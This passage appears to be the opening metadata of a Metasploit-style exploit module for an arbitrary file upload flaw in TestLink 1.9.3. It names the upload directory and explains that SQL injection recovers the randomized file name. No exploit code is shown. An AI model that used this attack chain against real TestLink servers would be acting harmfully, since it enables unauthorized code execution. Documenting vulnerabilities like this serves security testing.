'Name' => "TestLink v1.9.3 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in TestLink version 1.9.3 or prior.
This application has an upload feature that allows any authenticated
user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'
directory with a randomized file name. The file name can be retrieved from
the database using SQL injection.
